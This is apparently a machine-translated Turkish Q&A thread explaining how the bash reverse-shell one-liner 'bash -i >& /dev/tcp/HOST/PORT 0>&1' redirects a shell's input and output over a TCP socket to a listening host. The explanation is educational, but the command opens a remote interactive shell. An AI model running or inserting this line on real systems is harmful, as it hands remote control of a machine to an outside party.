Yanıtlar:
Bu snippet bash -i
, bash işlemi süresince oluşturulan belirtilen ana bilgisayardaki belirtilen bağlantı noktasına bir TCP bağlantısında yeni bir interaktif bash ( ) örneği çalıştırır . Standart çıkış ve standart hata bu bağlantı üzerinden gönderilir ( >& /dev/tcp/HOST/PORT
) ve standart giriş bu bağlantı üzerinden okunur ( 0>&1
- bu olmalı, 0<&1
ancak 0>&1
çalışır).
Devam eden bir bağlantı noktası yok. Açıkçası, bir tür TCP sunucusu bu HOST: PORT üzerindeki bağlantıları dinlemeli ve kabul etmeli ve güvenlik duvarı bağlantıya izin vermelidir.
/dev/tcp/HOST/PORT
? Bir ismi HOST
ve bir rakamı değiştirdiğinizi varsaydım PORT
. Aksi takdirde bash'tan bir hata mesajı alırsınız. Herhangi bir hata mesajından bahsetmediğiniz için, bir tane görmediğinizi varsayıyorum.
0<&1
parçayı sindiremiyorum . Bunu 'bash stdout ( &1
) al ve bash stdin ( 0
)' e pipo olarak okudum , ki bu mantıklı. Bu bölümün nasıl çalıştığını açıklayabilir misiniz?
0<&1
şu anda dosya tanımlayıcı 1'de açık olan her şeyi dosya tanımlayıcı 0'a bağlamak anlamına gelir. Önceki yönlendirme >& /dev/tcp/HOST/PORT
fd 1'e (çıkış yeniden yönlendirme için varsayılan) bağlandığı için /dev/tcp/HOST/PORT
, yani bir TCP soketi açıldığında, bu TCP bağlantısını dosya tanımlayıcı 0'a (örn. aynı soket artık fd 0'da da açıktır, bu, aynı sunucuya farklı bir soket açacak olan 0 </ dev / tcp / HOST / PORT'dan farklıdır).